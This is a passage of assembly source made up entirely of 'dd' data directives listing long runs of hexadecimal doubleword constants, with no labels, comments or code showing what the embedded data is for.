4901935Bh, 0BB6DF735h, 0F6F5F9F8h, 0DAE60070h, 0B6EBE7D7h dd 3100EC41h, 8895CDD2h, 1C89A838h, 0C3CF6355h, 5F68E0A0h dd 19A61DB8h, 17B45700h, 0E50BA1Bh, 0FC433CFDh, 64F70384h dd 0A06BC102h, 3493D0A6h, 0C582F500h, 66969A04h, 75ED0185h dd 0E33329C9h, 7898FB88h, 5A008D59h, 0EE26BBEBh, 0CF9550h dd 35B90F19h, 319A2E92h, 0CC560300h, 32A74F57h, 9D40015h dd 0E745347Bh, 0C0002D1Dh, 43F8D7E0h, 503B24A5h, 1FC4BCCCh dd 0A8628356h, 640D1CC5h, 35D300BFh, 99D5791h, 0C5632200h dd 0DF205241h, 0D2B80097h, 17D9354h, 271E4B18h, 8580DE75h dd 0BBAF7F0Eh, 0FFB100F6h, 6DD19A95h, 0B0090D5h, 7237A167h dd 9CE8F18h, 0D4D8FB77h, 0A5464080h, 0D9009909h, 3FFF6F92h dd 2D76C7FEh, 0DA61A26Ah, 37073010h, 20E13Dh, 851E8848h dd 0B1CB3AFh, 0A5866159h, 0B2EB80FDh, 0F681B0h, 95AD3301h dd 0EEA77E7Fh, 66581D00h, 0E450BE8Fh, 86921D2Dh, 59DEA0h dd 0AF4FFBAEh, 2902A876h, 3B037C18h, 0EA62E09Dh, 72E32EC3h dd 0E27700BFh, 4CBDD2D3h, 7C1DB67Bh, 0D8401F96h, 66C87128h dd 797E0040h, 2E23E0F2h, 0EA006FB0h, 22CA2CDCh, 38F45Ah dd 3B0EA020h, 88335023h, 0A616730Fh, 0D7C2BD4Dh, 0C08FC901h dd 837FEAh, 0EF888B7Dh, 69E1ED3Fh, 0D300DDECh, 1BA351FDh dd 0F5136Eh, 7EE2C56Fh, 101FE5F1h, 0D7534E00h, 0D6ED4FF7h dd 0CE073CFBh, 0D1A47D00h, 6EF8C5A5h, 0A084EB24h, 3B272603h dd 0D094C851h, 0F3FE01C9h, 0EA33BD16h, 31B0F4AAh, 0BBC1CC00h dd 0FCD24FABh, 6B5C0045h, 0A1D1FBB2h, 3500D4E1h, 4A1F3EE9h dd 7D4E76F2h, 7A840062h dd 2233068Dh, 13009D92h, 0DD651114h, 0FCFF1501h, 0D26700BDh dd 0DFF1D4CEh, 38009095h, 49F49181h, 4F5B14h, 1D209463h dd 3DEA5F02h, 0C26A5D00h, 0A4AAABC7h, 0EFDD171Eh, 57B900F8h dd 58121903h, 0FDE3FE00h, 8BEC45A1h, 47B207E1h, 0B077970Eh dd 0F4D702ADh, 5100F7E6h, 23A33E25h, 0DD2C0Ch, 8C15AF17h dd 0CB2B75BEh, 7F4C9A1Fh, 0EE3D1880h, 4BAB34h, 0CE99B546h dd 0B7FFDB83h, 0DEF66E0Fh, 0A345003Ch, 202716Ch, 82E9E3C4h dd 0ED4176EAh, 0D14CC1F3h, 40D3DC37h, 48B07B05h, 5480F443h dd 35D56Ch, 69183BC4h, 0B05FF84Fh, 0C0364500h, 6D4CBABFh dd 8DBB0ECFh, 9F00FFF9h, 62CBD05Dh, 7793C800h, 0A8EA9611h dd 43BC0009h, 643EC68Ah, 0C0971FD6h, 2DE9C5Eh, 0DDCC8FB1h dd 0EDE053E3h, 64004843h, 47894170h, 1F17DB99h, 1EB54D08h dd 10DF8075h, 2F28F8BBh, 78F5F107h, 37E016CDh, 0C229B7h dd 6CFFADE8h, 54175B79h, 0C8B02203h, 804AC925h, 21ABBEh dd 0F469D507h, 1F913AE1h, 8262BC3Dh, 41D8D9A9h, 458480F6h dd 0DDE90Eh, 0D44ADAB6h, 0C2F4D681h, 0D506BD00h, 0F38910DEh dd 2DEF0FFEh, 0B9E07AF8h, 0BC3C8BC6h, 0A5D2BD00h, 45E4F676h dd 7237015h, 33DB1BB3h, 0C9401048h, 91009AC8h, 0CE781670h dd 5C7A20CBh, 672E7C9Dh, 5A570017h, 0B873DA7Dh, 6D4AE300h dd 0FCCF9D53h, 0A9DB0044h, 0C8946F65h, 6605C13Eh, 0E3C7B3DAh dd 0F06B87AAh, 0AB883661h, 84923900h, 234BBA7h, 68F0F12h dd 58607E66h, 0F78003C4h, 9F64AC00h, 0BA71F617h, 9C2C0035h dd 0BE848E91h, 0AF01CCA7h, 7A283931h, 0DFD4C344h, 3B4300C1h dd 8675585Bh, 1F0029EBh, 73310A5Ah, 0D3B0FAh, 37F656D6h dd 5BE0B505h, 5ACB2C00h, 490B0CFCh, 0C147004Fh, 1E5E3D61h dd 0CE3FFE64h, 0E7C603CDh, 0E00301C0h, 4F0B34h, 0D395247Bh dd 2E63CE09h, 0CC504500h, 4E0CA459h, 53C100F1h, 1F4ABA6Bh dd 1E0FB242h, 6731DBA8h, 72603D6Eh, 29C888h, 0E1265112h dd 6C17CA0Ah, 6280BF00h, 211B5A1Dh, 0FC3900D9h, 78CD77C9h dd 331EB37Ch, 80B94126h, 11F4A6E9h, 30533Eh, 5C8791C0h dd 549E40FFh, 3A6D3700h, 0A699E86Fh, 2838003Bh, 7D9D2797h dd 9B0094A0h, 0A96FE795h, 2EC098CBh, 9760EFh, 3113917Ch dd 30001586h, 0DF364887h, 158EBBAh, 0B2F7941h, 0D5E4072Bh dd 0FB76D873h, 3AEF9200h, 0C4A634D9h, 99AE02Ah, 879FE7E4h dd 0A0444307h, 9D3C1273h, 4416300h, 8B938EBh, 3EE2003Fh dd 6895403Dh, 3A03D9B1h, 0B80DBAE6h, 0E875B3F0h, 0EE5010h dd 2CC2BD3Eh, 6E08A09Fh, 8DD27B00h, 58ABE327h, 53E60054h dd 6B133F5Ch, 0A9000BE2h, 36636897h, 79E51B35h, 6C3C00F1h dd 2C6A6018h, 89001552h, 0CF19571Ah, 74D2E8h, 81DD4A7Fh dd 0AB5CAA49h, 7051E438h, 0B87D2F01h, 4C83179Ah, 4C9F76DCh dd 980315BFh, 11181454h, 3247E9F0h, 0EE40AC0Fh, 6F5A206Eh dd 3EB4B89h, 678BA452h, 87D0987Ch, 4700B93Fh, 3731CD09h dd 0B6F6E2h, 0A0F5C01Fh, 498BCC52h, 9C656D3Ch, 0CB012F76h dd 309DF9A2h, 88C05DD5h, 0F2E1000Fh, 0BF8945C4h, 7300D84Ch dd 0EDA6C034h, 29689Fh, 0B2BAF73Ah, 0E0129A22h, 80EB4700h dd 37861165h, 2C9D01E8h, 0F8059504h, 0F73A3061h, 18388BF8h dd 480C8E6Bh, 1253C05Ch, 7BD310h, 1FE88C7Fh, 0C271DF5Fh dd 19EDD500h, 91519C02h, 10C12E56h, 0CB7900B2h, 74C57E0Dh dd 7A7D6903h, 0A006F4F5h, 0E250E6BBh, 0A7E10001h, 74652253h dd 6439D79Ch, 0E93880F0h, 9F3755F5h, 0B068012Ch, 0AD3BFA8Bh dd 0D587C826h, 82718F01h, 1B1A394Eh, 0BDC2FC5h, 0AD0307FEh dd 30CAB5E6h, 0C7EE0CEFh, 0C1E47E1Dh, 0AE409A5Dh, 32125E62h dd 0EC27480h, 0E13672CAh, 203EA8E0h, 0D1004301h, 4AA73B11h dd 595188h, 0A61CA26Ch, 7EDC7613h, 0D501577Fh, 0C6BD85C2h dd 0C9EC1F0Ch, 7A3C0006h, 1A8165AEh, 9C004D37h, 66A39336h dd 1E21C409h, 0A87079h, 75F59DA6h, 4F00B77Ch, 0FE7A6986h dd 0CE6B2Ch, 0BBC86318h, 79D88B88h, 0C3A1BC00h, 64739446h dd 3201121Dh, 0AFF82Fh, 6A0D6F4Ah, 34F9597h, 79F0A134h dd 5E803A24h, 0C900E30Ch, 69F6C596h, 1830FAh, 4EB63D51h dd 0F421C3BCh, 0B02DDF00h, 337609EDh, 1630005Ch, 0CB1A6956h dd 0EF007E88h, 2DDCE3BDh, 3500E93h, 0F81B1832h, 0EDE080B4h dd 3500F44Bh, 34380457h, 32DC56Dh, 97D80A08h, 65F8AAE8h dd 74009F6Ah, 0AEFD59DFh, 991E6C7h, 8D01C25Dh, 0DBFD480h dd 69007681h, 556A80B1h, 0C1B95h, 2EB77DFBh, 6B6677D5h dd 0EEA96E00h, 51168C2Dh, 0B6F90043h, 4457FD75h, 0FF0037BBh dd 0B1A8618h, 786CE9C3h, 0D14B48CCh, 0B83B1300h, 0D368A227h dd 30A45F00h, 18E991E8h, 0C70B01E7h, 0B9C5158Bh, 4F6F20D1h dd 5EACCA17h, 0A800D21Dh, 36E26DBFh, 0DEC4004Ah, 0B4055593h dd 0BB002E7Eh, 29202F58h, 0EA59A8CEh, 0C6AF0057h, 0E0560E63h dd 0A1179FC1h, 70029CBh, 4AF5476Dh, 1CECFD77h, 62A80EC6h dd 7E622C19h, 63D4B8BAh, 0A9CCE801h, 85DC0D34h, 0FC540070h dd 10E59EE9h, 0A3F8FA24h, 0CECCF912h, 5E585200h, 317E2AAh dd 307D6020h, 0A6A8BEC9h, 1200E6B7h, 8F7CF573h, 7B0F5664h dd 17EF0036h, 493F1DE5h, 1401E382h, 0DD1AA59h, 0B87055E6h dd 731F0F0h, 532DBD94h, 7863A117h, 8D33301Fh, 0D9EF411Ch dd 0DE0DC2C0h, 0E33FFDh, 1B7413CCh, 8FAA99C5h, 6985371Dh dd 0C4147F07h, 61FB1C70h, 0E0781D88h, 3F828060h, 81EE7075h dd 0AA1CD775h, 0B1CFF895h, 63B48002h, 0E00423h, 71AB2F0Ch dd 88F583E3h, 40AEF42Ch, 13898E01h, 9FDCC25h, 1D0DE0E0h dd 30D60EE8h, 71A0D0C4h, 54EFF900h, 0C8BCFCC9h, 98AD0001h dd 691185CBh, 0C31DD6CCh, 8780D1BFh, 0F518EAAEh, 8D3500EEh dd 759FC201h, 0BC3AB8F9h, 82CA00DDh, 52F12A31h, 0AF5F0722h dd 1081BBFFh, 0F19FD98h, 685DFC00h, 0ECE539D1h, 8DF50158h dd 5649C1D9h, 2F98FF07h, 0D5004FEFh, 73FED02Ah, 18758B2h dd 0E8E028F3h, 80939811h, 0D43EBE08h, 0C8CEEDh, 56B83ABAh dd 7EE1AC57h, 978F0900h, 3C9C84A9h, 0D2D10061h, 76798E9Fh dd 0CA00644Bh, 75245040h, 0EE923FE1h, 9823EAA8h, 6EF507F9h dd 13E9BD73h, 0D1DFA060h, 0FCEEB020h, 6400141Eh, 0ECA47A39h dd 0D8D22Bh, 620EA165h, 0DAE95E1h, 829C4124h, 0AD825900h dd 71AC37h, 0E6B66EBEh, 0D18B7999h, 0F94C6700h, 31ABE934h dd 0BD26009Ch, 0CE61BC19h, 0A20F182Ch, 0C0D80324h, 80F9099Fh dd 2840002Eh, 39890D6Ch, 0CF075966h, 0F1C50754h, 3E092430h dd 0F0BA2427h, 356C0069h, 0EBAFBE51h, 0F4C558h, 0A409FA64h dd 3FC38B62h, 2000928Eh, 0EEDA75EDh, 0BC00C6FFh, 915CE018h dd 368744Ch, 34F8A8D8h, 5390327Ch, 0B6007AAFh, 0F973A605h dd 0E3665CBh, 44FFC72Fh, 3C22B080h, 9C01E96Bh, 76B36E2Ah dd 0C4D0D40Eh, 5CA90042h, 1C2BC9B7h, 1603AA82h, 32AEFA28h dd 0EFB480F6h, 81CE0315h, 0D1CD2E9Fh, 3C1334D8h, 397BD2FEh dd 2907E1E0h, 41BD07B5h, 83C09420h, 4CE8B3h, 0DFF9922h dd 2D28BFE2h, 0D962EE1Ch, 2B368045h, 798CC780h, 0A5FCD0h dd 0C06BC359h, 315D587Bh, 9AB65300h, 102BEEA6h, 85DD00AAh dd 8CE222E9h, 7CEE46A8h, 6D009DF4h, 21670BDh, 27F1F0h dd 720B29A0h, 0F8201519h dd 0EAA57100h, 0ED6E4AB4h, 963948BCh, 0FFCD1B00h, 4D7FDB10h dd 8C306200h, 0ECACD675h, 678751Ch, 0E13FE68Eh, 42009838h dd 0F04BA7C9h, 94B89Ah, 1DA57BB9h, 0D9EA4F1Ah, 0A2887007h dd 0C0BFB33Bh, 51623FBEh, 30EB0034h, 0AB78368Fh, 1A0088A4h dd 0C559EDE2h, 505367h, 0B2BB4E9Ch, 0B3AD18A2h, 0C76AF4F9h dd 0F520BA00h, 5D8F3FB4h, 763C0037h, 2E56A8BBh, 7F005F9Eh dd 3929DB23h, 5D7571h, 5B6E59B7h, 8FE5CCC1h, 0CAFE4100h dd 742BA197h, 1EDAB8D6h, 0BAE864A7h, 37EDCA6h, 2CB5FC3Bh dd 0ED31B780h, 42710C1Fh, 0D01F4BC3h, 6FBFD0A7h, 50C2009Bh dd 88D4C4E5h, 0E100DCFAh, 0A5A4196h, 0FC90764Bh, 262100BEh dd 0C7CD106Dh, 934C3E5Dh, 3F17189Ah, 8099E0h, 0DE403B32h dd 3879C306h, 0DDB0A500h, 94E82A20h, 0C4840070h, 0CFFFD96Bh dd 0F301CD6Fh, 0C78025A4h, 4C88624h, 395300FCh, 4C0E881Ch dd 725C50EFh, 3300061h, 76A468DDh, 71BE0026h, 845D09DAh dd 3807D239h, 45E9179Ah, 0A05D0FFBh, 0A40883C8h, 0B99806h dd 2060FDEFh, 0D54C253Ah, 514E9900h, 8C6C7EB6h, 0F9F0007h dd 0B28D20EBh, 1EE8C1C9h, 6FB18000h, 83FED3F5h, 0B5890054h dd 25DED54Dh, 0F33DAA7Bh, 72230773h, 0F41C958h, 0CBC0CA90h dd 764E074Ah, 0A09A5157h, 606208BEh, 7C8CB700h, 0F6D4826Bh dd 0EF9E0176h, 197B21F9h, 0DC95F835h, 0BA250800h, 643D23AAh dd 0B36D0078h, 411A9F5Ah, 2B00E570h, 66A68657h, 0E1ED89h dd 0C48CA192h, 0E616EA6Fh, 23DEBD24h, 8087590Bh, 8D986DD8h dd 6014006Eh, 5EE89016h, 30376A8h, 81368A91h, 1BCBC0B6h dd 2E3D00B8h, 31F5B2FAh, 16005074h, 0F980E9DBh, 1C6EADFBh dd 0C8B13h, 6927D509h, 54C086BEh, 5D8D47DEh, 76490BD2h dd 8900E5C1h, 0E9A34628h, 333EC301h, 0E1BFFFBCh, 931DC06Eh dd 0F11DD08Ch, 234FDEC1h, 0E58D804Ch, 3EB7C30Ah, 0D03A9875h dd 4F42E600h, 0D36C2D61h, 0CBD1C900h, 0DA1B0C8Fh, 0A6FE030Bh dd 2A09E740h, 8598F7E0h, 4BE9490Fh, 77F8200Dh, 71800Ch dd 0C0F241A2h, 0CF495B6Ch, 0E204F100h, 23FF1239h, 1CB7007Ah dd 0CD4C21A6h, 1001B06Eh, 9BD34FC7h, 5560B5EEh, 366A3F25h dd 192410Eh, 58519983h, 35B0C6D8h, 0ABB83Fh, 0B7564E8Ch dd 78530E7h, 95A290Dh, 0D5E92069h, 600F7289h, 8012E255h dd 4D06D036h, 0D99A00D6h, 0FD731C3Ch, 10041F1h, 0C37DFB0h dd 0A53B65h, 0CBAA9D99h, 81C46DF0h, 69120200h, 2A8826BBh dd 0F992002Fh, 8ACF3D0Ch, 2E0768D8h, 61AF2CABh, 5E1B010h dd 92870098h, 0CB760E35h, 2001036h, 42FF9AF2h, 13729FBh dd 0E27A6003h, 0ECC18921h, 0AE73E7F9h, 0AF035775h, 11166805h dd 0CE3C88A2h, 43320001h, 4598F58Ah, 79016269h, 11C953BDh dd 1830FF61h, 0E6869802h, 0C7DF00C8h, 0E380D562h, 3D2E568Ch dd 9B14EF6Bh, 6EAE04A2h, 5781A84Dh, 86209F42h, 17FE47h dd 0D83C2F65h, 460D8DDAh, 0FB438800h, 12E61958h, 0B1F5003Fh dd 3DC87F25h, 6C003818h, 0B0CEC2A7h, 0F670224Eh, 330C0067h dd 68D24AF6h, 3F0078CDh, 28E8CC15h, 1B19C9Dh, 12D34DDDh dd 0CBB657BCh, 0D0AA13F0h, 0F6004570h, 0DCEBCBEDh, 6A6FC9h dd 9A61A9AFh, 66E565FCh, 0FB291600h, 7310503Eh, 0A1F603ECh dd 57A80F28h, 581EB9B0h, 69002078h, 4678B87Eh, 0EE7B77h dd 9CE4878Ch, 0C1B1B738h, 0BD01EBF4h, 0C60A29CCh, 0AA47CBDEh dd 64A5D750h, 2EE50006h, 0DFFAC936h, 4C009007h, 0B14719C5h dd 1C7DE3F4h, 80BF2F1Bh, 0A7A841ABh, 7E124C34h, 4B00A68Bh dd 0A11C1F60h, 8D8E006Fh, 7046C104h, 0E004031h, 0F7ECFD4Dh dd 3AA7EEh, 3369984Ch, 92507538h, 0DCF78098h, 0C21E39B1h dd 0F840FDBCh, 2B12EE6Ch, 0BE00761h, 0B022B453h, 334E1E68h dd 0AC4CCF00h, 82E93E64h, 3C861FD2h, 0F540C00Fh, 294D5A63h dd 0BF4BF200h, 16046D33h, 2D1E0571h, 0C045D28Ah, 959919B4h dd 0E080176Eh, 0F458B057h, 0AF8006Ah, 435B6290h, 0B9EEF50Ch dd 56277C00h, 0B53CF1AEh, 0EE8800DEh, 5E049D4Bh, 0F000CCFFh dd 57B71F77h, 0B811E3h, 86F32307h, 25D1F26Ah, 9B769800h dd 82407F83h, 0F7EB009Fh, 0BD3E91AAh, 0B1FEB086h, 1F371800h dd 0A8D1F5BAh, 0D38400A5h, 39590F40h, 0EA00FC29h, 0DBA98F1Ch dd 0B3665Fh, 2740B4A8h, 5734C1Fh, 0F500C5E4h, 0E9E5732h dd 0DAA1CDh, 85BDD9CAh, 0E446BCC8h, 3707EBEEh, 0BEC341Dh dd 7AC77B10h, 0CFFCF4h, 69BF51CBh, 5308877Dh, 7BA20D00h dd 677CA8B2h, 271903D6h, 147E961Bh, 0C0892DB9h, 0EF07BC6Bh dd 0B94B5B29h, 2BB74040h, 759E00FDh, 0E5059577h, 8E7926D4h dd 334CDA00h, 0D62AF7CEh, 43FCFBh, 50A331F9h, 2FA44DBAh dd 14644800h, 26E947C5h, 65B41F01h, 7A6B4078h, 0A5210F27h dd 0C4487D0Eh, 4004C033h, 50308688h, 0C2A2F4h, 32A17853h dd 0BE158CD9h, 7400B97Dh, 761BBF11h, 1295B150h, 4F31CDh dd 4E4C0946h, 0E70066D1h, 4DFEBED8h, 0A00E78h, 1CF952B5h dd 95CFCEDFh, 0EAFDE100h, 35069F6Ah, 67F800B6h, 4838F790h dd 0B700810Fh, 7BD93B52h, 3A626055h, 0C780A50Dh, 113547C3h dd 3C008E8Ch, 3156EE38h, 48B6D1h, 1BA77068h, 0F7E27C6Ch dd 39836300h, 52DEA094h, 0ED9200BFh, 7385DC7Fh, 68009CC6h dd 50C8069Bh, 285C1ACDh, 0FE8F4Eh, 0B73311B9h, 4FF66E99h dd 3BA08900h, 8E2FA532h, 0E98017E3h, 3DEC00E0h, 407430E1h dd 0D6C8F00h, 3A2FABFAh, 84AF00F7h, 43995ACAh, 0C100780Ah dd 3DCC8144h, 1EBE7A17h, 9C07B29Dh, 0A800386Ah, 0A0A6EF1Ah dd 79002B98h, 4F77884h, 7BED30D1h, 0FAE7EED7h, 5C020152h dd 3D6215AEh, 1A8BE4C8h, 0C3E6EFCh, 24B60097h, 0BC23A0FEh dd 26F0338h, 0B55695AFh, 0FE013C0h, 73641200h, 0D4D71488h dd 0BDDF019Bh, 2332ED7Ah, 829CC8DDh, 9FEE3C26h, 0BFC16402h dd 23005F1Eh, 0ECC9347Dh, 0B9AC8A00h, 97F36AD5h, 0E9DF3FF4h dd 0B1933500h, 7D7E244h, 9DA0B71Dh, 0BA1D0F80h, 75889A2Dh dd 70490081h, 0EE863119h, 1009645h, 62CDCF20h, 37AE08Ah dd 2E8960FBh, 0A8D08537h, 3800BB3Ah, 0A250F0EBh, 4F68DDh dd 5405CDDAh, 2EEC29C9h, 0C4A1EF00h, 90751393h, 0D7FD0060h dd 0A7A032BDh, 4103E97Dh, 1BB2D9Ah, 47A5F02Ah, 9C961CACh dd 0C169C0D6h, 3B8A1C68h, 0F240011Dh, 0E0E4674Eh, 0E1B580B8h dd 3FED372Bh, 0F61F4040h, 0F5005018h, 0C7EF9209h, 77E85BF9h dd 880D4C3Eh, 0E3B18607h, 0C08825BDh, 6BBA6847h, 8D00D576h dd 0EC5558B8h, 58149BBFh, 9A0045DEh, 7606AC05h, 9500C0B9h dd 34A90823h, 0FC4AB739h, 8D96015Ah, 0CF67774Dh, 128920F8h dd 9C6E4600h, 0DFCB4241h, 96142FE5h, 55001FDCh, 0C4CFEC11h dd 546B00DEh, 0B8DF024Ch, 0D005FEBh, 90E9C98Fh, 579C74h dd 2FE65BAFh, 81BE30B3h, 54B1F400h, 0A239D24Bh, 8C4C5067h dd 0DF3100C4h, 72250B50h, 0CB05B48Fh, 0A62E03A9h, 0C80485C0h dd 305E465h, 66B30EE8h, 0B7E828EDh, 2B00CD4Fh, 0BB451417h dd 3F4D20E6h, 0FCBCFB3Bh, 9D595480h, 460A9FCBh, 347548h dd 85E81C76h, 128CACDh, 7FF8F201h, 0FE172909h, 4826F740h dd 0F9D5F12h, 24DA1F00h, 44B255h, 0FCB662A7h, 0B07D1B2Ch dd 0AC004BE8h, 0A2A9CFBCh, 0A04136h, 37D29FE1h, 29468CDAh dd 2B56B40Eh, 0EF958F82h dd 6D4CE0EBh, 0F6D03874h, 53ED0503h, 171E9Ah, 0DA5FF9C4h dd 0C6009294h, 0EC7673B9h, 0F6E61Dh, 62830BFDh, 0C9804148h dd 3491C5Ch, 0ABEB233Ah, 2FAE887h, 9A782EDEh, 0C9FC00A1h dd 660CE554h, 0FE8A9F00h, 62CFB0A1h, 0C7790Bh, 0ABCD3E9Ch dd 0BFB36120h, 4DEB3F00h, 0BAAD4ADEh, 6897004Fh, 44DD039Dh dd 1A780875h, 0FDA7D000h, 2FDFF5A4h, 63AE1D26h, 0EAFF80D7h dd 59A3380Ah, 904E39h, 0FAD9018Dh, 1E6B6440h, 40292716h dd 0CCFEE328h, 0CB005CA3h, 0CA6A3CC3h, 1C2A78ADh, 0CE8E5064h dd 0EA009820h, 33A2877Bh, 58ACB600h, 0AFBB7A5h, 67D70047h dd 87280C3h, 2E03481Eh, 612C7749h, 20ACA060h, 93AD0E90h dd 70005D7h, 0A5DCF47h, 7F49D800h, 0D9412C2Bh, 929F0EAFh dd 5FEED67Ch, 6AB0B9E0h, 99006E63h, 758BD808h, 3A37F4h dd 645694A5h, 39A1EC3Bh, 130047EAh, 0EA20188Eh, 0E930C04h dd 342EDC94h, 0CC66DE20h, 161CE849h, 89C08E1Ch, 0EC8A90CBh dd 0B0447701h, 6AF025h, 0C8B56D3Ch, 50380C49h, 66AA6500h dd 0E0B1F707h, 2DD20010h, 0C905F62Eh, 0F300CA9Eh, 29FFB77Ah dd 1B5CBDh, 0BFD494CFh, 842FAF8Ah, 23398C00h, 9B566DDEh dd 457900C2h, 245F838Bh, 71002736h, 0B51CE713h, 1DC6F65Eh dd 0D0A273h, 0AB320D9Fh, 0BC0F4A94h, 2770DC31h, 0D0707711h dd 7A8F73h, 0BE6323C4h, 82C0E978h, 53F28B77h, 47905C00h dd 0C4560A65h, 1EE00209h, 4C48CE2Fh, 0EB4DE07Dh, 996300D8h dd 24732B4Dh, 7A0730B9h, 1F9ADA0Ch, 9FB13200h, 0B2450026h dd 6D4CA02h, 4A00626Eh, 0C391A989h, 81A2E6h, 3DB7328h dd 0F3B47154h, 0FDF75A00h, 68729036h, 3AC70083h, 0A51A7730h dd 0B042AE5h, 1CC5D17h, 0E8FE61C3h, 0D0702h, 0BE7BECF1h dd 0BC347D3h, 75A92000h, 50654424h, 332800A8h, 37C2ED09h dd 0EA0302DDh, 584FA774h, 0BE46E815h, 472B003Ch, 8582C5EEh dd 94008C09h, 0DDCC123Bh, 0FE9DAF5Bh, 50F2A03Dh, 0F15100ACh dd 233B631Fh, 0EE007936h, 6C7F7B1Dh, 7830DA9h, 19A8FCA1h dd 0B7930063h, 1800387Ah, 0DE0F4221h, 873EB1h, 40EE7080h dd 0AEA28FF5h, 0C6CB5F00h, 4CE77E56h, 2D760012h, 9DA1698Bh dd 6EB871EEh, 2A0A5A01h, 5130BBEAh, 3B1E90D8h, 5E8164D6h dd 5F17DC1Bh, 0BA65F898h, 83C7D20Eh, 60FC63ACh, 0DDF188C8h dd 0E4E30038h, 0D91136F8h, 2E01F3D6h, 81991DB0h, 0ECCC48Fh dd 77F60019h, 519ECAA0h, 9F0104D0h, 0AC414CAAh, 0E3E41E0Bh dd 1B3007Bh, 80238378h, 2239177Dh, 1F4200FFh, 0A41B05A0h dd 1C8500B2h, 48A11D88h, 2E0014E2h, 796BC47Bh, 0B4DCB1h dd 0CAF6AE8Ch, 1C32B0CFh, 0D4817800h, 8F7C6504h, 37B4005Fh dd 0AC30F6F3h, 1800C938h, 0A3780794h, 3BCF22h, 5686354Eh dd 0B4112BDFh, 6457BD00h, 1CF362C7h, 51E60029h, 166F903Eh dd 0C3000A44h, 0E13B31C6h, 0F896CEh, 5129579Ah, 6CD07054h dd 7CC6B71Ch, 41D5000h, 0A564F1h, 750E2F1Bh, 703D1529h dd 250FDC7Ch, 4FEA9F26h, 0A8D6027h, 597562h, 0B6AE344h dd 9C69D06Ch, 68409100h, 7635FE6h, 0C8C0013h, 9A76BA32h dd 43074224h, 5E808D94h, 7E2030C0h, 536503F3h, 675C2644h dd 9C1F4C8h, 25C01F00h, 7F19FC1Eh, 0FDB8006Bh, 93414FADh dd 0EA00F3EFh, 865A7D9Bh, 0AF01B49h, 0FD8E6810h, 15701A6h dd 309CE883h, 847767CAh, 153AAF00h, 8AE475A3h, 8653000Ah dd 612D1CC1h, 0F309D047h, 825B9F44h, 0E023DF6Eh, 0CCBC98h dd 34B7483Eh, 86B2BBD5h, 97CFD300h, 1339B392h, 443F00F9h dd 0FE1AE89Dh, 0C00F59Fh, 614BEEBh, 3AE46F1h, 9350D154h dd 0AAA83E65h, 0CE00909Fh, 0FBEA2924h, 10212Dh, 0D71BF2F9h dd 0D2B78996h, 3DAAD800h, 8E9F0B78h, 0E46D0074h, 0F132F622h dd 42262DBBh, 55075A19h, 0BF90C2DFh, 78AB33Dh, 234CAEF2h dd 32D260A6h, 88005195h, 1099FF67h, 1FA350Ah, 9666EAF9h dd 0E8290EC4h, 1B0052CCh, 8B50A3FFh, 7F6C79h, 758EF7E9h dd 10924CCDh, 2B0B0200h, 9858AD16h, 0B16504C4h, 0C03EE09Dh dd 0A5839C1Ch, 0C846FC00h, 1C7773CAh, 67360052h, 9F89FA70h dd 79005F88h, 9AE15834h, 7DBFECAh, 871EB613h, 66444728h dd 0E4007C2Dh, 0E19B7733h, 2EE9DB19h, 0E0F24Bh, 1FB46E89h dd 6A1F8FD0h, 3440D16Ch, 1C42AC03h, 0B3598A6h, 1DF324B8h dd 0F700CDF0h, 60E7468h, 115F02h, 0D6F6D0Bh, 0DA335E38h dd 583B3600h, 6BD51CF1h, 7DBD1D91h, 0F3C04024h, 0E4064151h dd 463BA400h, 8A09AB4Fh, 0B97401h, 1A5B612Ah, 0BC04F7F1h dd 0E5196C00h, 1DFED289h, 213707F2h, 20A9C46Dh, 0A05E54C3h dd 3F240D00h, 226569B0h, 4CA51D57h, 0D92D8953h, 0B37F6980h dd 5871FFCFh, 3C4B1100h, 17C1C9D7h, 0BBCD00B5h, 8AF7BB6h dd 4C007209h, 18C38240h, 1B8678Fh, 0CE657A3Fh, 0C81C4D4Bh dd 3900D5B3h, 0E2962757h, 4CEF9Ah, 985E59B7h, 67A3DB7Fh dd 9E72531Fh, 0B3255C00h, 0E0BEE6FDh, 93C61EAAh, 7DB443C0h dd 8EE30F2Ah, 6F2B9EA0h, 81966A3Dh, 246B997Eh, 88C84190h dd 0BBDA3C3Bh, 6000BE3Eh, 34E3F095h, 0CF008F94h, 15FA068h dd 18CE03h, 82EF41DCh, 6186E970h, 1DE7134Ch, 0B480B23Fh dd 6DC8FF53h, 0B9FE26h, 325815BEh, 88D2AADAh, 81363Fh dd 0A573D65Eh, 0C879430h, 70D04B3Ah, 970E78AAh, 20F64811h dd 71BA9CCh, 0BE4A3B75h, 27E201FDh, 0EE55A1C8h, 9BC8EB4Dh dd 33033BACh, 0E8CF78F5h, 2969A9D9h, 0A126D4h, 8367813Ch dd 0A9EBA4EAh, 34A7E500h, 3957974Eh, 0DFFE09h, 612FE699h dd 9BC919D9h, 6BFD7C00h, 68EBBDB1h, 2BAF000Eh, 9F733EC4h dd 0E9F4768Ah, 0C294BA00h, 1CAAD669h, 60840090h, 1B15015Dh dd 5A1D6BF8h, 0D180DAADh, 808248BDh, 0DE1900E7h, 0E4469439h dd 6800DC9Bh, 38C48936h, 494CFFh, 0C97E241Ch, 84F16272h dd 4701DE7Fh, 232A5D7h, 3DCC29FBh, 5BEA00DDh, 355F469Ch dd 432C62B7h, 3C6E32h, 7F7D9A33h, 0AD6FB2h, 0D3FC51DEh dd 0A240C010h, 9100837Eh, 45541B24h, 0E6D559h, 0D98014E8h dd 4297DA6Eh, 8646691Eh, 0EF219C81h, 85F48EA7h, 4FD11CEEh dd 0A2A4C098h, 74282A41h, 0C5076A00h, 0B830A12Eh, 0B8B07CBh dd 606EE664h, 36153D6Bh, 0AAC0900h, 5ACC3B0Ch, 6980024h dd 1E5B8EE3h, 87076FF1h, 95FFA87Fh, 4EC6E30h, 7EC00019h dd 0C34743Ch, 0AC0088E3h, 42290D79h, 6225E4h, 0A5A37C73h dd 0E3C1DE38h, 36BB80BDh, 0BA567Fh, 6B96E4D1h, 84323E08h dd 0C00A9B8h, 66167E8Fh, 4F4026h, 0AAF8060Bh, 0B9493C2Ch dd 3500F178h, 926DBC8Fh, 13B66Bh, 3BC50CF7h, 714F6F10h dd 0A2008670h, 15203DAFh, 3FE1C99h, 0A423F785h, 79D0A687h dd 740061DFh, 0D582971Ah, 680E62h, 3AE16027h, 92054590h dd 0AF93BB03h, 0FEE2B1A7h, 8290372h, 9B8F0E57h, 20B328A8h dd 7C958h, 0AEA64A9h, 219270h, 33758550h, 8CECBD61h, 0A969E700h dd 0F0FC3536h, 3B9C00F1h, 0CF88063Ah, 